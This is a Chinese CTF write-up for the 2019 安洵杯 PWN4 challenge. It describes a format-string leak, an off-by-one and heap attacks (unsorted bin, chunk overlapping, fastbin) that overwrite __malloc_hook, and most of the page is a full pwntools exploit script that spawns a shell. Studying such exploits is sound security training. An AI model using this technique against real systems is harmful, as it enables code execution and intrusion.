PWN4

发表于 2021-01-16 分类于 Challenge， 2019， 安洵杯， Pwn
Challenge | 2019 | 安洵杯 | Pwn | PWN4

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/6912

题目考点

- *fmt*
- *offbyone*
- *chunk overlapping*
- *unsortedbin attack*
- *fastbin attack*

解题思路

分析

banner 函数处有一处格式化字符串漏洞，可以用来泄露栈上的程序基地址和 libc 地址

在 get_input 函数处，存在一处 offbyone

在 add_note 函数中，只有当 key = 0x2B 时，可以 malloc 任意大小的 chunk，否则不能 malloc fastbin 大小的 chunk

所以这里利用 offbyone 配合 unsorted bin attack，使得 key 为 0x2B（malloc+88 的低 12 bit 的字节是 B），再使用一次 chunk overlapping，即可进行 fastbin attack，之后覆盖 fd 为 malloc 上方，覆盖 malloc_hook 即可

EXP

```
from pwn import *

#context.log_level="debug"
DEBUG=1
EXEC_FILE = "./pwn1"
REMOTE_LIBC = "/home/h4lo/ctf/glibc/glibc_2_23/glibc-2.23/_debug/lib/libc-2.23.so"

def main():
    if DEBUG:
        r = process(EXEC_FILE)
        elf = ELF(EXEC_FILE)
        libc = elf.libc
        one_gadget = 0xce51c
    else:
        r = remote("")
        elf = ELF(EXEC_FILE)
        libc = ELF(REMOTE_LIBC)
    one_gadget = 0xce51c

    def menu(idx):
        sleep(0.1)
        r.recv()
        sleep(0.1)
        r.sendline(str(idx))
```

```
25
26      def add(idx,size,content):
27          menu(1)
28          r.recv()
29          r.sendline(str(idx))
30          r.recv()
31          r.sendline(str(size))
32          r.recv()
33          r.sendline(str(content))
34
35      def delete(idx):
36          menu(2)
37          r.recv()
38          r.sendline(str(idx))
39
40      '''
41      def show(idx):
42          menu()
43              r.recv()
44              r.sendline(str(idx))
45      '''
46
47      def edit(idx,content):
48          menu(4)
49          r.recv()
50          r.sendline(str(idx))
51          r.recv()
52          r.sendline(str(content))
53
54
55      r.recv()
56
57      r.sendline("%15$lx%11$lx")
58
59
60      r.recvuntil("Hello, ")
61
62      libc_addr = eval("0x"+r.recv(2*6)) - 267 - libc.symbols['__libc_start_main']
63
64      success(hex(libc_addr))
65
66      base_addr = eval("0x"+r.recv(2*6)) - 28 - 0x116a
67
68      success(hex(base_addr))
69
70      add(0,0x88,'a')
71      add(1,0x88,'a')
72      add(2,0x88,'a')
73      add(3,0x88,'a')
74      add(4,0x88,'a')
75      add(5,0x88,'a')
76
77
78      delete(0)
79      edit(3,'a'*0x80+p64(0x240)+p8(0x90))
80
81      delete(4)
82
83      add(0,0x88,'a')
84      add(4,0x88,'a')
85      add(6,0x88,'a')
86
87      edit(0,'a'*0x88+p8(0x71))
88      edit(1,'a'*0x60+p64(0)+p64(0x21)+'a'*0x18+p64(0x71))
89      edit(2,'a'*0x60+p64(0)+p8(0x21))
90
91      #add(7,0x88,'a')
92      #edit(1,p64(0)+p64(base_addr+0x20202f))
93
94      edit(3,p64(0)+p64(base_addr+0x20202f))
95      #add(5,0xf8,'a')
96      #add(6,0x1f0,"a")
97      delete(1)
98      delete(2)
99
100     add(1,0x110,'a')
```

```
    edit(6,p64(libc_addr + libc.symbols['main_arena'] - 0x30 - 3))

    #pause()
    r.sendlineafter(">> ",'1')
    r.sendlineafter(":",'2')
    #add(2,0x68,'a')

    r.sendlineafter(":\n",str(0x68))
    if "hack" in r.recvline():
        return
    r.sendline("H4lo")

    payload = 'a'*0x13 + p64(libc_addr + one_gadget)    # one_gadget
    add(8,0x68,payload)

    add(9,0x68,"H4lo")

    r.interactive()

if __name__ == '__main__':
    while(True):
        main()
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2019/安洵杯/Pwn/w11rsFM8Mivn6aVLzoM6Y5.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # Pwn # 2019 # 安洵杯
BROP
PWN5